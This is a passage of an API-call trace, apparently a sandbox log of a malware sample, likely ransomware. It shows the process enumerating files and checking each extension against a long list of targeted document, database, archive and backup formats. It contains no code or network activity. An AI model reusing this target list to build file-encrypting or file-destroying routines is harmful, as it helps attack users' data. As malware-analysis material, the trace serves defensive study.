	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.290] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0079.290] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.291] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0079.291] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.292] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0079.292] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0079.293] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0079.293] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0079.293] wcsncmp (_String1="G", _String2=".", _MaxCount=0x1) returned 25
	[0079.293] wcsncmp (_String1="Ge", _String2="..", _MaxCount=0x2) returned 25
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".bat", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".doc", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".jpg", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".jpe", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".txt", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".tex", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".dbf", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".xls", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".cry", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.293] wcsstr (_Str=".xml", _SubStr=".ini") returned 0x0
	[0079.293] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".vsd", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".pdf", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".csv", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".bmp", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".tif", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".1cd", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".tax", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".gif", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".gbr", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".png", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".mdb", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".mdf", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".sdf", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".dwg", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".dxf", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".dgn", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".stl", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".gho", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.294] wcsstr (_Str=".v2i", _SubStr=".ini") returned 0x0
	[0079.294] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".3ds", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".ppt", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".acc", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".vpd", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".odt", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".ods", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".rar", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".zip", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".cpp", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".pas", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".asm", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".rtf", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".lic", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".avi", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".mov", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".mp3", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".vbs", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".v8i", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".erf", _SubStr=".ini") returned 0x0
	[0079.295] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.295] wcsstr (_Str=".epf", _SubStr=".ini") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.296] wcsstr (_Str=".mxl", _SubStr=".ini") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.296] wcsstr (_Str=".cfu", _SubStr=".ini") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.296] wcsstr (_Str=".mht", _SubStr=".ini") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.296] wcsstr (_Str=".bak", _SubStr=".ini") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165890 | out: _String=".ini") returned=".ini"
	[0079.296] wcsstr (_Str=".old", _SubStr=".ini") returned 0x0
	[0079.296] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0079.296] wcsncmp (_String1="P", _String2=".", _MaxCount=0x1) returned 34
	[0079.296] wcsncmp (_String1="Pa", _String2="..", _MaxCount=0x2) returned 34
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".bak", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".bat", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".doc", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".jpg", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".jpe", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".txt", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".tex", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".dbf", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".xls", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".cry", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".xml", _SubStr=".cmd") returned 0x0
	[0079.296] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.296] wcsstr (_Str=".vsd", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".pdf", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".csv", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".bmp", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".tif", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".1cd", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".tax", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".gif", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".gbr", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".png", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".mdb", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".mdf", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".sdf", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".dwg", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".dxf", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".dgn", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".stl", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".gho", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".v2i", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.297] wcsstr (_Str=".3ds", _SubStr=".cmd") returned 0x0
	[0079.297] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".ppt", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".acc", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".vpd", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".odt", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".ods", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".rar", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".zip", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".cpp", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".pas", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".asm", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".rtf", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".lic", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".avi", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".mov", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".mp3", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".vbs", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".v8i", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".erf", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.298] wcsstr (_Str=".epf", _SubStr=".cmd") returned 0x0
	[0079.298] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".mxl", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".cfu", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".mht", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".bak", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x3165894 | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".old", _SubStr=".cmd") returned 0x0
	[0079.299] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0079.299] wcsncmp (_String1="p", _String2=".", _MaxCount=0x1) returned 66
	[0079.299] wcsncmp (_String1="pr", _String2="..", _MaxCount=0x2) returned 66
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".bak", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".bat", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".doc", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".jpg", _SubStr=".cmd") returned 0x0
	[0079.299] _wcslwr (in: _String=0x316587a | out: _String=".cmd") returned=".cmd"
	[0079.299] wcsstr (_Str=".jpe", _SubStr=".cmd") returned 0x0
